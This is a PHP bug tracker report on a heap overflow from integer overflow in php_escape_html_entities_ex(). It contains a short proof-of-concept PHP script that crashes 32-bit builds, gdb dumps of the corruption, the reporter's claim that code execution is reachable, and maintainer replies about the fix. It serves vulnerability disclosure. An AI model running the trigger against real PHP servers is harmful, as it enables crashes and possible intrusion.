php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Bug #73398 Heap overflow due to integer overflow in php_escape_html_entities_ex() function
Submitted: 2016-10-27 03:55 UTC Modified: 2017-02-13 01:00 UTC
From: bughunter at fosec dot vn Assigned: stas (profile)
Status: Closed Package: *General Issues
PHP Version: 7.1Git-2016-10-27 (Git) OS: Linux
Private report: No CVE-ID: None
 [2016-10-27 03:55 UTC] bughunter at fosec dot vn
Description:
------------
I have found some vulnerable code at php_escape_html_entities_ex() function. php_escape_html_entities_ex() function creates a new zend_string object to store html data. The size of destination string depends on the size of source string. ( reffer at ext/standard/html.c:1272 )


PHPAPI zend_string *php_escape_html_entities_ex(unsigned char *old, size_t oldlen, int all, int flags, char *hint_charset, zend_bool double_encode)
{

...
	/* initial estimate */
	if (oldlen < 64) {
		maxlen = 128;
	} else {
		maxlen = 2 * oldlen;
		if (maxlen < oldlen) {
			zend_throw_error(NULL, "Input string is too long");
			return NULL;
		}
	}

replaced = zend_string_alloc(maxlen, 0);

...
}


If oldlen is equal to PHP_INT_MAX, maxlen will be an unexpected value and zend_string_alloc() function will allocate a small memory range. Due to missing check of size before calling
zend_string_alloc(), this new memory range can not use to store large html data and lead to heap overflow. I can overwrite other objects of PHP in memory. I can leak memory to bypass ASLR + DEP and control eip register to the arbitrary value. Finally, the overflow results as arbitrary code execution. This bug is only triggered in 32bit machine.

Solution:
It should be zend_string_alloc_safe instead of zend_string_alloc. 

Test script:
---------------
<?php
ini_set('memory_limit', -1);
$s = str_repeat("A", PHP_INT_MAX);
htmlentities($s, 0, "", true);
?>

Actual result:
--------------
Open php program in gdb and run test script, set a breakpoint at line in file ext/standard/html.c:1269.
When debugger stops, we have oldlen=0x7fffffff. Because oldlen is bigger than 0x64, maxlen is equal to twice oldlen. maxlen is equal to 0xfffffffe. 

 [----------------------------------registers-----------------------------------]
EAX: 0xfffffffe
EBX: 0x1
ECX: 0x10
EDX: 0x5
ESI: 0xb7814100 --> 0x2
EDI: 0xfffffffe
EBP: 0xbfffbf68 --> 0xbfffbfb8 --> 0xbfffc084 --> 0x0
ESP: 0xbfffbee0 --> 0x80001000 ('A' <repeats 200 times>...)
EIP: 0x826e37a (<php_escape_html_entities_ex+442>:      call   0x82fc010 <_emalloc>)
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x826e371 <php_escape_html_entities_ex+433>: mov    edi,DWORD PTR [ebp-0x34]
   0x826e374 <php_escape_html_entities_ex+436>: lea    ecx,[edi+0x14]
   0x826e377 <php_escape_html_entities_ex+439>: and    ecx,0xfffffffc
=> 0x826e37a <php_escape_html_entities_ex+442>: call   0x82fc010 <_emalloc>
   0x826e37f <php_escape_html_entities_ex+447>: mov    esi,eax
   0x826e381 <php_escape_html_entities_ex+449>: mov    DWORD PTR [eax],0x1
   0x826e387 <php_escape_html_entities_ex+455>: mov    DWORD PTR [eax+0x4],0x6
   0x826e38e <php_escape_html_entities_ex+462>: mov    DWORD PTR [eax+0x8],0x0
[------------------------------------stack-------------------------------------]
0000| 0xbfffbee0 --> 0x80001000 ('A' <repeats 200 times>...)
0004| 0xbfffbee4 --> 0xb7ce07e9 (<madvise+25>:  pop    ebx)
0008| 0xbfffbee8 --> 0xb7ce07f7 (<madvise+39>:  add    ecx,0xc7809)
0012| 0xbfffbeec --> 0x82f9774 (<zend_mm_chunk_alloc_int+100>:  mov    eax,esi)
0016| 0xbfffbef0 --> 0x37400000 --> 0x2
0020| 0xbfffbef4 --> 0x80001000 ('A' <repeats 200 times>...)
0024| 0xbfffbef8 --> 0xe
0028| 0xbfffbefc --> 0x88dd0c0 --> 0x88dd0f8 --> 0x2
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x0826e37a      122             zend_string *ret = (zend_string *)pemalloc(ZEND_MM_ALIGNED_SIZE(_ZSTR_STRUCT_SIZE(len)), persistent);
gdb-peda$



The size which is used as parameter in _emalloc() function is equal to ((oldlen * 2 + 0x14 ) & 0xfffffffc). Due to integer overflow, if oldlen is equal to 0x7fffffff, this size is 0x10. The new memory region is too small to store a large string! 

if we continue running, other memory region will be overwritten until SIGSEGV!

 [----------------------------------registers-----------------------------------]
EAX: 0x41 ('A')
EBX: 0x199fa0
ECX: 0x37599fb0 ('A' <repeats 200 times>...)
EDX: 0x3
ESI: 0x199fa1
EDI: 0xb7866050 --> 0x1
EBP: 0xbfffbf68 --> 0xbfffbfb8 --> 0xbfffc084 --> 0x0
ESP: 0xbfffbee0 --> 0x80001000 ('A' <repeats 200 times>...)
EIP: 0x826eaf1 (<php_escape_html_entities_ex+2353>:     mov    BYTE PTR [edi+ebx*1+0x10],al)
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x826eae8 <php_escape_html_entities_ex+2344>:        mov    ebx,DWORD PTR [ebp-0x38]
   0x826eaeb <php_escape_html_entities_ex+2347>:        movzx  eax,BYTE PTR [ecx]
   0x826eaee <php_escape_html_entities_ex+2350>:        mov    esi,DWORD PTR [ebp-0x30]
=> 0x826eaf1 <php_escape_html_entities_ex+2353>:        mov    BYTE PTR [edi+ebx*1+0x10],al
   0x826eaf5 <php_escape_html_entities_ex+2357>:        lea    eax,[ebx+0x1]
   0x826eaf8 <php_escape_html_entities_ex+2360>:        mov    DWORD PTR [ebp-0x38],eax
   0x826eafb <php_escape_html_entities_ex+2363>:        jmp    0x826e810 <php_escape_html_entities_ex+1616>
   0x826eb00 <php_escape_html_entities_ex+2368>:        test   BYTE PTR [ebp+0x14],0x2
[------------------------------------stack-------------------------------------]
0000| 0xbfffbee0 --> 0x80001000 ('A' <repeats 200 times>...)
0004| 0xbfffbee4 --> 0xb7ce07e9 (<madvise+25>:  pop    ebx)
0008| 0xbfffbee8 --> 0xb7ce07f7 (<madvise+39>:  add    ecx,0xc7809)
0012| 0xbfffbeec --> 0x82f9774 (<zend_mm_chunk_alloc_int+100>:  mov    eax,esi)
0016| 0xbfffbef0 --> 0x37400000 --> 0x2
0020| 0xbfffbef4 --> 0x80001000 ('A' <repeats 200 times>...)
0024| 0xbfffbef8 --> 0xe
0028| 0xbfffbefc --> 0x88dd0c0 --> 0x88dd0f8 --> 0x2
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x0826eaf1 in php_escape_html_entities_ex (old=0x37400010 'A' <repeats 200 times>..., oldlen=0x7fffffff, all=<optimized out>, all@entry=0x1, flags=0x0, hint_charset=0x88cce38 "",
    double_encode=double_encode@entry=0x1) at /root/fuzzer/PHP-7.1/ext/standard/html.c:1378
1378                                            ZSTR_VAL(replaced)[len++] = mbsequence[0];
gdb-peda$

Patches

Add a Patch

Pull Requests

Add a Pull Request

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2016-11-05 21:48 UTC] stas@php.net
-Status: Open +Status: Closed -Assigned To: +Assigned To: stas
 [2016-11-05 21:48 UTC] stas@php.net
The fix for this bug has been committed.

Snapshots of the sources are packaged every three hours; this change
will be in the next snapshot. You can grab the snapshot at
http://snaps.php.net/.

 For Windows:

http://windows.php.net/snapshots/
 
Thank you for the report, and for helping us make PHP better.


 [2016-11-18 04:10 UTC] bughunter at fosec dot vn
I have tested the test script with the newest php version today (commit b2b63ce993f71ccb66e0cbac5715c3186a853f8c) and php still crashes. Please recheck this issue and re-test the script which I provided.
 [2017-02-13 01:00 UTC] stas@php.net
-Type: Security +Type: Bug
 
PHP Copyright © 2001-2024 The PHP Group
All rights reserved.
Last updated: Sat Jun 01 18:01:28 2024 UTC